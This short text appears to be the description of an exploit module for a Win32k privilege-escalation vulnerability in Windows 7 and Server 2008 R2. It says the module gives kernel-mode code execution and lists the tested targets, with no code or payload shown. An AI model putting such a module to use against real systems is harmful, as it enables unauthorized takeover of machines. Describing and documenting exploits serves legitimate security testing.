      This module exploits elevation of privilege vulnerability that exists in Windows 7 and 2008 R2
      when the Win32k component fails to properly handle objects in memory. An attacker who
      successfully exploited this vulnerability could run arbitrary code in kernel mode. An
      attacker could then install programs; view, change, or delete data; or create new
      accounts with full user rights.

      This module is tested against windows 7 x86, windows 7 x64 and windows server 2008 R2 standard x64.
